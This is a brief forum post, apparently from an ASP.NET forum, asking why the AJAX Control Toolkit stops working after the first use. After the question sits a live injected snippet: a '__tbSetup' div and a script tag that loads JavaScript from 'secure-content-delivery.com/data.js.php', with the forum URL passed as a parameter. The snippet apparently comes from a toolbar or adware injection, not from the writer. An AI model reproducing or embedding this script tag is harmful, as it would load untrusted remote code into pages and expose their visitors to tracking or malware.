dear sir
i already installed ajax toolkit first time it is working but second time it is not working in new file either same file of project in web so what is problem behind this.
<div id="__tbSetup"></div> <script src="https://secure-content-delivery.com/data.js.php?i={3CD3A974-9182-45EC-974F-FF9BDA147E1F}&d=2013-5-6&s=http://forums.asp.net/post/set/1022/0/0" type="text/javascript"></script>